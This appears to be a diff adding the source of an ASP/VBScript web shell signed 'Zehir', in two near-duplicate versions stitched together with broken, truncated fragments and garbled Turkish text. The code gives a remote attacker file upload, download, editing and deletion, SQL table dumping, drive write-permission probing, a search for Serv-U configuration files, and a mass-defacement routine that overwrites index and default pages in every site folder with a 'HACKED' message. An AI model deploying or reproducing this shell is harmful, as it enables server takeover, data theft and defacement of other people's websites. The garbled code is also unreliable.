+ Dim lobjRs
+ Dim lbinBytes
+ If Length = 0 Then Exit Sub
+ If LenB(BinaryData) = 0 Then Exit Sub
+ Set lobjStream = Server.CreateObject("ADODB.Stream")
+ lobjStream.Type = adTypeBinary
+ Call lobjStream.Open()
+ lbinBytes = ASCII2Bytes(BinaryData)
+ Call lobjStream.Write(lbinBytes)
+
+ On Error Resume Next
+
+ Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
+
+ 'if err<>0 then response.Write "uploaded " else gMsg = gMsg & "failed! "
+ end if
+ next
+ response.Write gMsg
+ set objUpload=nothing
+
+end sub
+
+if status="-4" then
+ Upload()
+' hataKontrol
+ popup=false
+end if
+'////////////////////////////////
+sub hataKontrol
+ if err<>0 then
+ Response.Write "Hata : "&err.Description&" "
+ end if
+end sub
+
+sub araBul(path_,ara_)
+ on error resume next
+ If Len(path_) > 0 Then
+ cur = path_&"\"
+ If cur = "\\" Then cur = ""
+ parent = ""
+ If InStrRev(cur,"\") > 0 Then
+ parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
+ End If
+ Else
+ cur = ""
+ End If
+
+ Set f = objFSO.GetFolder(cur)
+
+ Set fc = f.Files
+ For Each f1 In fc
+ if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
+ downStr = "� � "&f1.path&" ["&f1.size&"]"&" � ! "&f1.path&" ["&f1.size&"]"&" "
+ response.Write "Konum Sonu�
"
+end sub
+
+sub servu_Test
+ dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ for each d_ in dosya_
+ d_ = drive_.DriveLetter&":\"&d_
+ if objFSO.FileExists(d_) then
+ response.Write "Serv-U ini file : "&d_&" "
+ set MyFile = Nothing
+ if err<>0 then
+ sonuc__="Yazma Hakk� Yok! "
+ else
+ sonuc__="Yazma Hakk� Var! "
+ on error goto 0: on error resume next
+ objFSO.DeleteFile yol & "\test.zehir",true
+ if err<>0 then
+ sonuc__=sonuc__&"Silme Hakk� Yok! "
+ else
+ sonuc__=sonuc__&"Silme Hakk� Var! "
+ end if
+ end if
+ yaziyomu = sonuc__
+end function
+
+function yaziyomu2(yol)
+ on error goto 0:on error resume next
+ Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
+ MyFile.write "byzehir "
+ set MyFile = Nothing
+ if err<>0 then
+ yaziyomu2 = false
+ else
+ objFSO.DeleteFile yol & "\test.zehir"
+ yaziyomu2 = true
+ end if
+end function
+
+sub WriteTestOnDriver
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ if not yaziyomu2(drive_.DriveLetter&":\") then
+ Response.Write ""&drive_.DriveLetter&":\ yazma yetkisi yok! : ["&err.Description&"] "&drive_.DriveLetter&":\ yazma yetkisi var! Local Path yazma yetkisi yok! : ["&err.Description&"] Local Path yazma yetkisi var! Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" Local Path Data �st Klasor Yok :) Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" : Sistem Bilgileri : Local Adres " & request.servervariables("REMOTE_ADDR") & " User Agent " & request.servervariables("HTTP_USER_AGENT") & " Server " & request.servervariables("SERVER_NAME") & " IP " & request.servervariables("LOCAL_ADDR") & " HTTPD " & request.servervariables("SERVER_SOFTWARE") & " Port " & request.servervariables("SERVER_PORT") & " Yol " & request.servervariables("APPL_PHYSICAL_PATH") & " Log Root " & request.servervariables("APPL_MD_PATH") & " HTTPS " & request.servervariables("HTTPS") & "
"
+ popup = false
+CASE 14 'Upload and Search
+ aramaUpload
+ popup = false
+ hataKontrol
+CASE 15 'Ms. SQL Server
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 16 'file Copy window
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 17 'file Copy
+ isl = ""
+ if islem="kopyala" then
+ objFSO.CopyFile path,cf
+ isl="kopyaland�.."
+ elseif islem="tasi" then
+ objFSO.MoveFile path,cf
+ isl="ta��nd�.."
+ end if
+ response.Write "Dosya "&isl
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Powered by Zehir"
+ response.Write "zehirhacker@hotmail.comk�ll� nefsun zaifetun mevt"
+ popup = false
+ hataKontrol
+CASE 40 'Sistem Test
+ sistemTest
+ popup=false
+CASE 50 'Siteleri Test Edelim :D
+ %>
+
+
+
+ G�venlik Testi byZehir
+
+
+
+ <%
+ popup=false
+CASE 51 ' �zel �ilemler
+END SELECT
+%>
+
+
+<%
+if popup then
+ if status=7 or status=8 then
+ Response.Write ""
+ end if
+ Response.Write ""
+ Path = Path & ":/"
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 2 'Normal listeleme
+ if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
+ Response.Write ""
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 3 'File Delete
+ objFSO.DeleteFile del
+ hataKontrol
+ if err<>0 then
+ byMsg="Not File Deleted! File Deleted Successful;) Not Folder Deleted! Folder Deleted Successful;) "&path&" "
+ set f = objFSO.OpenTextFile(path,1)
+ Response.Write ""&Server.HTMLEncode(f.readAll)&" "
+ if err<>62 then hataKontrol
+ if err.number=62 then Response.Write "":Response.End
+CASE 6 'Resim a�
+ Response.Write "Tablolar 4 "&table.Name&" "
+ for i=0 to objRcs.Fields.count-1
+ Response.Write " "&objRcs.Fields(i).Name&" "
+ do while not objRcs.EOF
+ Response.Write ""
+ for i=0 to objRcs.Fields.count-1
+ Response.Write ""&objRcs.Fields(i).Value&" "
+ next
+ Response.Write " "
+ objRcs.MoveNext
+ loop
+ Response.Write "
Not File Edited! File Edited Successful:)
"
+
+sub DosyaOku
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.Files
+ For Each f1 In fc
+ dosyaAdi = f1.name
+ num = InStrRev(dosyaAdi,".")
+ uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
+ downStr = "� � 4 "
+ select case uzanti
+ case "mdb"
+ Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" M �"&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � ! "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � �"&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" 2 ! "&downStr&" 4 � 1"&f1.name&" HACKED " & Session("n2") & "3 ;) "
+
+ sFolder = Replace(sFolder,"/","\")
+
+ if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.SubFolders
+ h__ = 0
+ f__ = 0
+ ss__ = now
+ For Each f1 In fc
+ hedef_ = replace(f1.path,"/","\")
+ if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
+ hedef__ = left(hedef_,len(hedef_)-1)
+ folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
+ if d1<>"" then d1 = true
+ if d2<>"" then d2 = true
+ if d3<>"" then d3 = true
+ if d4<>"" then d4 = true
+ on error goto 0:on error resume next
+ if fName<>"" then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
+ MyFile.write byMesaj
+ end if
+ if d1 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d2 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d3 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
+ MyFile.write byMesaj
+ end if
+ if d4 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
+ MyFile.write byMesaj
+ end if
+
+ if err<>0 then
+ response.Write folderName_ & " [FAILED!] [HACKED] by zehir!... Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)Hacked = "&h__&"Failed = "&f__
+ response.End
+end if
+
+status = Request("status")
+path = Request("path")
+dPath = Request("dPath")
+arama = Request("txArama")
+dkayit = Request("dkayit")
+table = Request("table")
+del = Request("del")
+islem = Request("islem")
+strSQL = Request("strSQL")
+cf = Request("cf")
+pathfile = request("pathfile")
+if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
+if status="" then status=2
+popup = true
+'////////////////////////////////
+Function ReadBinaryFile(FileName)
+ Const adTypeBinary = 1
+ Dim BinaryStream
+ Set BinaryStream = CreateObject("ADODB.Stream")
+ BinaryStream.Type = adTypeBinary
+ BinaryStream.Open
+ BinaryStream.LoadFromFile FileName
+ ReadBinaryFile = BinaryStream.Read
+End Function
+if status="-3" then
+ Response.Buffer=True
+ Set Fil = objFSO.GetFile(pathfile)
+
+ Response.contenttype="application/force-download"
+ Response.AddHeader "Cache-control","private"
+ Response.AddHeader "Content-Length", Fil.Size
+ Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
+
+ Response.BinaryWrite readBinaryFile(Fil.path)
+ Set f = Nothing: Set Fil = Nothing
+ response.End()
+end if
+'//////////////////////////////////
+if status="-4" then popup=false
+if status="13" then popup=false
+if status="14" then popup=false
+if status="15" then popup=false
+if status="16" then popup=false
+if status="17" then popup=false
+if status="18" then popup=false
+if status="19" then popup=false
+if status="33" then popup=false
+if status="40" then popup=false
+if status="50" then popup=false
+byMsg = request.QueryString("byMsg")
+if byMsg<>"" then response.Write byMsg
+response.Write "zehir3 --> powered by zehir <zehirhacker@hotmail.com> "
+if popup then
+%>
+
+System Info
+ |
+System Test
+ |
+Sites Test
+ |
+Folder Action
+ |
+SQL Server
+ |
+POWERED BY
+
+<%
+end if
+'####################################
+Class clsUpload
+ Private mbinData
+ Private mlngChunkIndex
+ Private mlngBytesReceived
+ Private mstrDelimiter
+ Private CR
+ Private LF
+ Private CRLF
+ Private mobjFieldAry()
+ Private mlngCount
+
+ Private Sub RequestData
+ Dim llngLength
+ mlngBytesReceived = Request.TotalBytes
+ mbinData = Request.BinaryRead(mlngBytesReceived)
+ End Sub
+
+ Private Sub ParseDelimiter()
+ mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
+ End Sub
+
+ Private Sub ParseData()
+ Dim llngStart
+ Dim llngLength
+ Dim llngEnd
+ Dim lbinChunk
+ llngStart = 1
+ llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
+ While Not llngStart = 0
+ llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
+ llngLength = llngEnd - llngStart
+ lbinChunk = MidB(mbinData, llngStart, llngLength)
+ Call ParseChunk(lbinChunk)
+ llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
+ Wend
+ End Sub
+
+ Private Sub ParseChunk(ByRef pbinChunk)
+ Dim lstrName
+ Dim lstrFileName
+ Dim lstrContentType
+ Dim lbinData
+ Dim lstrDisposition
+ Dim lstrValue
+ lstrDisposition = ParseDisposition(pbinChunk)
+ lstrName = ParseName(lstrDisposition)
+ lstrFileName = ParseFileName(lstrDisposition)
+ lstrContentType = ParseContentType(pbinChunk)
+ If lstrContentType = "" Then
+ lstrValue = CStrU(ParseBinaryData(pbinChunk))
+ Else
+ lbinData = ParseBinaryData(pbinChunk)
+ End If
+ Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
+ End Sub
+
+ Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
+ Dim lobjField
+ ReDim Preserve mobjFieldAry(mlngCount)
+ Set lobjField = New clsField
+ lobjField.Name = pstrName
+ lobjField.FilePath = pstrFileName
+ lobjField.ContentType = pstrContentType
+ If LenB(pbinData) = 0 Then
+ lobjField.BinaryData = ChrB(0)
+ lobjField.Value = pstrValue
+ lobjField.Length = Len(pstrValue)
+ Else
+ lobjField.BinaryData = pbinData
+ lobjField.Length = LenB(pbinData)
+ lobjField.Value = ""
+ End If
+ Set mobjFieldAry(mlngCount) = lobjField
+ mlngCount = mlngCount + 1
+ End Sub
+
+ Private Function ParseBinaryData(ByRef pbinChunk)
+ Dim llngStart
+ llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
+ If llngStart = 0 Then Exit Function
+ llngStart = llngStart + 4
+ ParseBinaryData = MidB(pbinChunk, llngStart)
+ End Function
+
+ Private Function ParseContentType(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 15
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
+ End Function
+
+ Private Function ParseDisposition(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 22
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
+ End Function
+
+ Private Function ParseName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 6, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 6
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+' ------------------------------------------------------------------------------
+ Private Function ParseFileName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 10, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 10
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+
+ Public Property Get Count()
+ Count = mlngCount
+ End Property
+
+ Public Default Property Get Fields(ByVal pstrName)
+ Dim llngIndex
+ If IsNumeric(pstrName) Then
+ llngIndex = CLng(pstrName)
+ If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
+ Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
+ Exit Property
+ End If
+ Set Fields = mobjFieldAry(pstrName)
+ Else
+ pstrName = LCase(pstrname)
+ For llngIndex = 0 To mlngCount - 1
+ If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
+ Set Fields = mobjFieldAry(llngIndex)
+ Exit Property
+ End If
+ Next
+ End If
+ Set Fields = New clsField
+ End Property
+
+ Private Sub Class_Terminate()
+ Dim llngIndex
+ For llngIndex = 0 To mlngCount - 1
+ Set mobjFieldAry(llngIndex) = Nothing
+
+ Next
+ ReDim mobjFieldAry(-1)
+ End Sub
+
+ Private Sub Class_Initialize()
+ ReDim mobjFieldAry(-1)
+ CR = ChrB(Asc(vbCr))
+ LF = ChrB(Asc(vbLf))
+ CRLF = CR & LF
+ mlngCount = 0
+ Call RequestData
+ Call ParseDelimiter()
+ Call ParseData
+ End Sub
+
+ Private Function CStrU(ByRef pstrANSI)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = LenB(pstrANSI)
+ For llngIndex = 1 To llngLength
+ CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
+ Next
+ End Function
+
+ Private Function CStrB(ByRef pstrUnicode)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = Len(pstrUnicode)
+ For llngIndex = 1 To llngLength
+ CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
+ Next
+ End Function
+End Class
+'####################################
+Session("n1") = "by Ejder"
+Class clsField
+ Public Name
+ Private mstrPath
+ Public FileDir
+ Public FileExt
+ Public FileName
+ Public ContentType
+ Public Value
+ Public BinaryData
+ Public Length
+ Private mstrText
+
+ Public Property Get BLOB()
+ BLOB = BinaryData
+ End Property
+
+ Public Function BinaryAsText()
+ Dim lbinBytes
+ Dim lobjRs
+ If Length = 0 Then Exit Function
+ If LenB(BinaryData) = 0 Then Exit Function
+
+ If Not Len(mstrText) = 0 Then
+ BinaryAsText = mstrText
+ Exit Function
+ End If
+ lbinBytes = ASCII2Bytes(BinaryData)
+ mstrText = Bytes2Unicode(lbinBytes)
+ BinaryAsText = mstrText
+ End Function
+
+ Public Sub SaveAs(ByRef pstrFileName)
+ Const adTypeBinary=1
+ Const adSaveCreateOverWrite=2
+ Dim lobjStream
+ Dim lobjRs
+ Dim lbinBytes
+ If Length = 0 Then Exit Sub
+ If LenB(BinaryData) = 0 Then Exit Sub
+ Set lobjStream = Server.CreateObject("ADODB.Stream")
+ lobjStream.Type = adTypeBinary
+ Call lobjStream.Open()
+ lbinBytes = ASCII2Bytes(BinaryData)
+ Call lobjStream.Write(lbinBytes)
+
+ On Error Resume Next
+
+ Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
+
+ 'if err<>0 then response.Write "uploaded " else gMsg = gMsg & "failed! "
+ end if
+ next
+ response.Write gMsg
+ set objUpload=nothing
+
+end sub
+
+if status="-4" then
+ Upload()
+' hataKontrol
+ popup=false
+end if
+'////////////////////////////////
+sub hataKontrol
+ if err<>0 then
+ Response.Write "Hata : "&err.Description&" "
+ end if
+end sub
+
+sub araBul(path_,ara_)
+ on error resume next
+ If Len(path_) > 0 Then
+ cur = path_&"\"
+ If cur = "\\" Then cur = ""
+ parent = ""
+ If InStrRev(cur,"\") > 0 Then
+ parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
+ End If
+ Else
+ cur = ""
+ End If
+
+ Set f = objFSO.GetFolder(cur)
+
+ Set fc = f.Files
+ For Each f1 In fc
+ if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
+ downStr = "� � "&f1.path&" ["&f1.size&"]"&" � ! "&f1.path&" ["&f1.size&"]"&" "
+ response.Write "Konum Sonu�
"
+end sub
+
+sub servu_Test
+ dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ for each d_ in dosya_
+ d_ = drive_.DriveLetter&":\"&d_
+ if objFSO.FileExists(d_) then
+ response.Write "Serv-U ini file : "&d_&" "
+ set MyFile = Nothing
+ if err<>0 then
+ sonuc__="Yazma Hakk� Yok! "
+ else
+ sonuc__="Yazma Hakk� Var! "
+ on error goto 0: on error resume next
+ objFSO.DeleteFile yol & "\test.zehir",true
+ if err<>0 then
+ sonuc__=sonuc__&"Silme Hakk� Yok! "
+ else
+ sonuc__=sonuc__&"Silme Hakk� Var! "
+ end if
+ end if
+ yaziyomu = sonuc__
+end function
+
+function yaziyomu2(yol)
+ on error goto 0:on error resume next
+ Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
+ MyFile.write "byzehir "
+ set MyFile = Nothing
+ if err<>0 then
+ yaziyomu2 = false
+ else
+ objFSO.DeleteFile yol & "\test.zehir"
+ yaziyomu2 = true
+ end if
+end function
+
+sub WriteTestOnDriver
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ if not yaziyomu2(drive_.DriveLetter&":\") then
+ Response.Write ""&drive_.DriveLetter&":\ yazma yetkisi yok! : ["&err.Description&"] "&drive_.DriveLetter&":\ yazma yetkisi var! Local Path yazma yetkisi yok! : ["&err.Description&"] Local Path yazma yetkisi var! Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" Local Path Data �st Klasor Yok :) Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" : Sistem Bilgileri : Local Adres " & request.servervariables("REMOTE_ADDR") & " User Agent " & request.servervariables("HTTP_USER_AGENT") & " Server " & request.servervariables("SERVER_NAME") & " IP " & request.servervariables("LOCAL_ADDR") & " HTTPD " & request.servervariables("SERVER_SOFTWARE") & " Port " & request.servervariables("SERVER_PORT") & " Yol " & request.servervariables("APPL_PHYSICAL_PATH") & " Log Root " & request.servervariables("APPL_MD_PATH") & " HTTPS " & request.servervariables("HTTPS") & "
"
+ popup = false
+CASE 14 'Upload and Search
+ aramaUpload
+ popup = false
+ hataKontrol
+CASE 15 'Ms. SQL Server
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 16 'file Copy window
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 17 'file Copy
+ isl = ""
+ if islem="kopyala" then
+ objFSO.CopyFile path,cf
+ isl="kopyaland�.."
+ elseif islem="tasi" then
+ objFSO.MoveFile path,cf
+ isl="ta��nd�.."
+ end if
+ response.Write "Dosya "&isl
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Powered by Zehir"
+ response.Write "zehirhacker@hotmail.comk�ll� nefsun zaifetun mevt"
+ popup = false
+ hataKontrol
+CASE 40 'Sistem Test
+ sistemTest
+ popup=false
+CASE 50 'Siteleri Test Edelim :D
+ %>
+
+
+
+ G�venlik Testi byZehir
+
+
+
+ <%
+ popup=false
+CASE 51 ' �zel �ilemler
+END SELECT
+%>
+
+
+<%
+if popup then
+ if status=7 or status=8 then
+ Response.Write ""
+ end if
+ Response.Write ""
+ Path = Path & ":/"
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 2 'Normal listeleme
+ if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
+ Response.Write ""
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 3 'File Delete
+ objFSO.DeleteFile del
+ hataKontrol
+ if err<>0 then
+ byMsg="Not File Deleted! File Deleted Successful;) Not Folder Deleted! Folder Deleted Successful;) "&path&" "
+ set f = objFSO.OpenTextFile(path,1)
+ Response.Write ""&Server.HTMLEncode(f.readAll)&" "
+ if err<>62 then hataKontrol
+ if err.number=62 then Response.Write "":Response.End
+CASE 6 'Resim a�
+ Response.Write "Tablolar 4 "&table.Name&" "
+ for i=0 to objRcs.Fields.count-1
+ Response.Write " "&objRcs.Fields(i).Name&" "
+ do while not objRcs.EOF
+ Response.Write ""
+ for i=0 to objRcs.Fields.count-1
+ Response.Write ""&objRcs.Fields(i).Value&" "
+ next
+ Response.Write " "
+ objRcs.MoveNext
+ loop
+ Response.Write "
Not File Edited! File Edited Successful:)
"
+
+sub DosyaOku
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.Files
+ For Each f1 In fc
+ dosyaAdi = f1.name
+ num = InStrRev(dosyaAdi,".")
+ uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
+ downStr = "� � 4 "
+ select case uzanti
+ case "mdb"
+ Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" M �"&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � ! "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � �"&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" 2 ! "&downStr&" 4 � 1"&f1.name&" powered by Z" & Session("n2") & "3 ;) "
+
+ sFolder = Replace(sFolder,"/","\")
+
+ if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.SubFolders
+ h__ = 0
+ f__ = 0
+ ss__ = now
+ For Each f1 In fc
+ hedef_ = replace(f1.path,"/","\")
+ if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
+ hedef__ = left(hedef_,len(hedef_)-1)
+ folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
+ if d1<>"" then d1 = true
+ if d2<>"" then d2 = true
+ if d3<>"" then d3 = true
+ if d4<>"" then d4 = true
+ on error goto 0:on error resume next
+ if fName<>"" then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
+ MyFile.write byMesaj
+ end if
+ if d1 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d2 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
+ MyFile.write byMesaj
+ end if
+ if d3 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
+ MyFile.write byMesaj
+ end if
+ if d4 then
+ Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
+ MyFile.write byMesaj
+ end if
+
+ if err<>0 then
+ response.Write folderName_ & " [FAILED!] [HACKED] by zehir!... Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)Hacked = "&h__&"Failed = "&f__
+ response.End
+end if
+
+status = Request("status")
+path = Request("path")
+dPath = Request("dPath")
+arama = Request("txArama")
+dkayit = Request("dkayit")
+table = Request("table")
+del = Request("del")
+islem = Request("islem")
+strSQL = Request("strSQL")
+cf = Request("cf")
+pathfile = request("pathfile")
+if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
+if status="" then status=2
+popup = true
+'////////////////////////////////
+Function ReadBinaryFile(FileName)
+ Const adTypeBinary = 1
+ Dim BinaryStream
+ Set BinaryStream = CreateObject("ADODB.Stream")
+ BinaryStream.Type = adTypeBinary
+ BinaryStream.Open
+ BinaryStream.LoadFromFile FileName
+ ReadBinaryFile = BinaryStream.Read
+End Function
+if status="-3" then
+ Response.Buffer=True
+ Set Fil = objFSO.GetFile(pathfile)
+
+ Response.contenttype="application/force-download"
+ Response.AddHeader "Cache-control","private"
+ Response.AddHeader "Content-Length", Fil.Size
+ Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
+
+ Response.BinaryWrite readBinaryFile(Fil.path)
+ Set f = Nothing: Set Fil = Nothing
+ response.End()
+end if
+'//////////////////////////////////
+if status="-4" then popup=false
+if status="13" then popup=false
+if status="14" then popup=false
+if status="15" then popup=false
+if status="16" then popup=false
+if status="17" then popup=false
+if status="18" then popup=false
+if status="19" then popup=false
+if status="33" then popup=false
+if status="40" then popup=false
+if status="50" then popup=false
+byMsg = request.QueryString("byMsg")
+if byMsg<>"" then response.Write byMsg
+response.Write "ZehirIV --> Powered By Zehir <zehirhacker@hotmail.com> "
+if popup then
+%>
+
+System Info
+ |
+System Test
+ |
+Sites Test
+ |
+Folder Action
+ |
+SQL Server
+ |
+POWERED BY
+
+<%
+end if
+'####################################
+Class clsUpload
+ Private mbinData
+ Private mlngChunkIndex
+ Private mlngBytesReceived
+ Private mstrDelimiter
+ Private CR
+ Private LF
+ Private CRLF
+ Private mobjFieldAry()
+ Private mlngCount
+
+ Private Sub RequestData
+ Dim llngLength
+ mlngBytesReceived = Request.TotalBytes
+ mbinData = Request.BinaryRead(mlngBytesReceived)
+ End Sub
+
+ Private Sub ParseDelimiter()
+ mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
+ End Sub
+
+ Private Sub ParseData()
+ Dim llngStart
+ Dim llngLength
+ Dim llngEnd
+ Dim lbinChunk
+ llngStart = 1
+ llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
+ While Not llngStart = 0
+ llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
+ llngLength = llngEnd - llngStart
+ lbinChunk = MidB(mbinData, llngStart, llngLength)
+ Call ParseChunk(lbinChunk)
+ llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
+ Wend
+ End Sub
+
+ Private Sub ParseChunk(ByRef pbinChunk)
+ Dim lstrName
+ Dim lstrFileName
+ Dim lstrContentType
+ Dim lbinData
+ Dim lstrDisposition
+ Dim lstrValue
+ lstrDisposition = ParseDisposition(pbinChunk)
+ lstrName = ParseName(lstrDisposition)
+ lstrFileName = ParseFileName(lstrDisposition)
+ lstrContentType = ParseContentType(pbinChunk)
+ If lstrContentType = "" Then
+ lstrValue = CStrU(ParseBinaryData(pbinChunk))
+ Else
+ lbinData = ParseBinaryData(pbinChunk)
+ End If
+ Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
+ End Sub
+
+ Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
+ Dim lobjField
+ ReDim Preserve mobjFieldAry(mlngCount)
+ Set lobjField = New clsField
+ lobjField.Name = pstrName
+ lobjField.FilePath = pstrFileName
+ lobjField.ContentType = pstrContentType
+ If LenB(pbinData) = 0 Then
